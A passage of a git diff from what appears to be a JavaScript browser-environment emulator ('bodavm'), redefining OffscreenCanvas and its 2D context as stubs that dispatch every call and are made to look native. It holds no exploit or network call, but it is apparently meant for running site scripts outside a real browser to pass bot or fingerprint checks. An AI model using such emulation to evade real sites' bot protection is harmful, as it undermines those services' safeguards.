"OffscreenCanvas"); -bodavm.memory.globalobj['OffscreenCanvas'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['OffscreenCanvas'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('OffscreenCanvas', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvas', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "height_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvas', "oncontextlost", {configurable:true, enumerable:true, get:function oncontextlost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "oncontextlost_get", arguments)}, set:function oncontextlost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "oncontextlost_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvas', "oncontextrestored", {configurable:true, enumerable:true, get:function oncontextrestored (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "oncontextrestored_get", arguments)}, set:function oncontextrestored (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "oncontextrestored_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvas', "convertToBlob", {configurable:true, enumerable:true, writable:true, value:function convertToBlob (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "convertToBlob", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvas', "getContext", {configurable:true, enumerable:true, writable:true, value:function getContext (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "getContext", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvas', "transferToImageBitmap", {configurable:true, enumerable:true, writable:true, value:function transferToImageBitmap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "transferToImageBitmap", arguments)}},'prototype'); +// OffscreenCanvas对象 + +bodavm.memory.globalobj['OffscreenCanvas'] = function OffscreenCanvas() { + console.log_copy('OffscreenCanvas 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof OffscreenCanvas)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'OffscreenCanvas': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OffscreenCanvas'], "OffscreenCanvas"); +bodavm.memory.globalobj['OffscreenCanvas'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['OffscreenCanvas'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('OffscreenCanvas', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvas', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "height_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvas', "oncontextlost", { + configurable: true, + enumerable: true, + get: function oncontextlost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "oncontextlost_get", arguments); + }, + set: function oncontextlost() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "oncontextlost_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvas', "oncontextrestored", { + configurable: true, + enumerable: true, + get: function oncontextrestored() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "oncontextrestored_get", arguments); + }, + set: function oncontextrestored() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "oncontextrestored_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvas', "convertToBlob", { + configurable: true, + enumerable: true, + writable: true, + value: function convertToBlob() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "convertToBlob", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvas', "getContext", { + configurable: true, + enumerable: true, + writable: true, + value: function getContext() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "getContext", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('OffscreenCanvas', "transferToImageBitmap", { + configurable: true, + enumerable: true, + writable: true, + value: function transferToImageBitmap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "transferToImageBitmap", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/OffscreenCanvasRenderingContext2D.js b/env_xbb_lastest_jsdom/env/OffscreenCanvasRenderingContext2D.js index 0b6c0b4d..3047ac4e 100644 --- a/env_xbb_lastest_jsdom/env/OffscreenCanvasRenderingContext2D.js +++ b/env_xbb_lastest_jsdom/env/OffscreenCanvasRenderingContext2D.js @@ -1,73 +1,629 @@ -// OffscreenCanvasRenderingContext2D对象 -bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'] = function OffscreenCanvasRenderingContext2D(){if (!(this instanceof OffscreenCanvasRenderingContext2D)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'], "OffscreenCanvasRenderingContext2D"); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "canvas", {configurable:true, enumerable:true, get:function canvas (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "canvas_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "globalAlpha", {configurable:true, enumerable:true, get:function globalAlpha (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "globalAlpha_get", arguments)}, set:function globalAlpha (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "globalAlpha_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "globalCompositeOperation", {configurable:true, enumerable:true, get:function globalCompositeOperation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "globalCompositeOperation_get", arguments)}, set:function globalCompositeOperation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "globalCompositeOperation_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "filter", {configurable:true, enumerable:true, get:function filter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "filter_get", arguments)}, set:function filter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "filter_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "imageSmoothingEnabled", {configurable:true, enumerable:true, get:function imageSmoothingEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "imageSmoothingEnabled_get", arguments)}, set:function imageSmoothingEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "imageSmoothingEnabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "imageSmoothingQuality", {configurable:true, enumerable:true, get:function imageSmoothingQuality (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "imageSmoothingQuality_get", arguments)}, set:function imageSmoothingQuality (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "imageSmoothingQuality_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "strokeStyle", {configurable:true, enumerable:true, get:function strokeStyle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "strokeStyle_get", arguments)}, set:function strokeStyle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "strokeStyle_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fillStyle", {configurable:true, enumerable:true, get:function fillStyle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fillStyle_get", arguments)}, set:function fillStyle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fillStyle_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "shadowOffsetX", {configurable:true, enumerable:true, get:function shadowOffsetX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowOffsetX_get", arguments)}, set:function shadowOffsetX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowOffsetX_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "shadowOffsetY", {configurable:true, enumerable:true, get:function shadowOffsetY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowOffsetY_get", arguments)}, set:function shadowOffsetY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowOffsetY_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "shadowBlur", {configurable:true, enumerable:true, get:function shadowBlur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowBlur_get", arguments)}, set:function shadowBlur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowBlur_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "shadowColor", {configurable:true, enumerable:true, get:function shadowColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowColor_get", arguments)}, set:function shadowColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "shadowColor_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "lineWidth", {configurable:true, enumerable:true, get:function lineWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineWidth_get", arguments)}, set:function lineWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineWidth_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "lineCap", {configurable:true, enumerable:true, get:function lineCap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineCap_get", arguments)}, set:function lineCap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineCap_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "lineJoin", {configurable:true, enumerable:true, get:function lineJoin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineJoin_get", arguments)}, set:function lineJoin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineJoin_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "miterLimit", {configurable:true, enumerable:true, get:function miterLimit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "miterLimit_get", arguments)}, set:function miterLimit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "miterLimit_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "lineDashOffset", {configurable:true, enumerable:true, get:function lineDashOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineDashOffset_get", arguments)}, set:function lineDashOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "lineDashOffset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "font", {configurable:true, enumerable:true, get:function font (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "font_get", arguments)}, set:function font (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "font_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "textAlign", {configurable:true, enumerable:true, get:function textAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textAlign_get", arguments)}, set:function textAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textAlign_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "textBaseline", {configurable:true, enumerable:true, get:function textBaseline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textBaseline_get", arguments)}, set:function textBaseline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textBaseline_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "direction", {configurable:true, enumerable:true, get:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "direction_get", arguments)}, set:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "direction_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fontKerning", {configurable:true, enumerable:true, get:function fontKerning (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontKerning_get", arguments)}, set:function fontKerning (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontKerning_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fontStretch", {configurable:true, enumerable:true, get:function fontStretch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontStretch_get", arguments)}, set:function fontStretch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontStretch_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fontVariantCaps", {configurable:true, enumerable:true, get:function fontVariantCaps (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontVariantCaps_get", arguments)}, set:function fontVariantCaps (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fontVariantCaps_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "letterSpacing", {configurable:true, enumerable:true, get:function letterSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "letterSpacing_get", arguments)}, set:function letterSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "letterSpacing_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "textRendering", {configurable:true, enumerable:true, get:function textRendering (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textRendering_get", arguments)}, set:function textRendering (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "textRendering_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "wordSpacing", {configurable:true, enumerable:true, get:function wordSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "wordSpacing_get", arguments)}, set:function wordSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "wordSpacing_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "clip", {configurable:true, enumerable:true, writable:true, value:function clip (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "clip", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "createConicGradient", {configurable:true, enumerable:true, writable:true, value:function createConicGradient (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "createConicGradient", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "createImageData", {configurable:true, enumerable:true, writable:true, value:function createImageData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "createImageData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "createLinearGradient", {configurable:true, enumerable:true, writable:true, value:function createLinearGradient (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "createLinearGradient", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "createPattern", {configurable:true, enumerable:true, writable:true, value:function createPattern (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "createPattern", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "createRadialGradient", {configurable:true, enumerable:true, writable:true, value:function createRadialGradient (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "createRadialGradient", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "drawImage", {configurable:true, enumerable:true, writable:true, value:function drawImage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "drawImage", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fill", {configurable:true, enumerable:true, writable:true, value:function fill (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fill", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "fillText", {configurable:true, enumerable:true, writable:true, value:function fillText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "fillText", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "getImageData", {configurable:true, enumerable:true, writable:true, value:function getImageData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "getImageData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "getLineDash", {configurable:true, enumerable:true, writable:true, value:function getLineDash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "getLineDash", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "getTransform", {configurable:true, enumerable:true, writable:true, value:function getTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "getTransform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "isContextLost", {configurable:true, enumerable:true, writable:true, value:function isContextLost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "isContextLost", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "isPointInPath", {configurable:true, enumerable:true, writable:true, value:function isPointInPath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "isPointInPath", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "isPointInStroke", {configurable:true, enumerable:true, writable:true, value:function isPointInStroke (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "isPointInStroke", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "measureText", {configurable:true, enumerable:true, writable:true, value:function measureText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "measureText", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "putImageData", {configurable:true, enumerable:true, writable:true, value:function putImageData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "putImageData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "reset", {configurable:true, enumerable:true, writable:true, value:function reset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "reset", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "roundRect", {configurable:true, enumerable:true, writable:true, value:function roundRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "roundRect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "save", {configurable:true, enumerable:true, writable:true, value:function save (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "save", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "scale", {configurable:true, enumerable:true, writable:true, value:function scale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "scale", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "setLineDash", {configurable:true, enumerable:true, writable:true, value:function setLineDash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "setLineDash", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "setTransform", {configurable:true, enumerable:true, writable:true, value:function setTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "setTransform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "stroke", {configurable:true, enumerable:true, writable:true, value:function stroke (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "stroke", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "strokeText", {configurable:true, enumerable:true, writable:true, value:function strokeText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, "OffscreenCanvasRenderingContext2D", "strokeText", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvasRenderingContext2D', "transform", {configurable:true, enumerable:true, writable:true, value:function transform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D'].prototype, 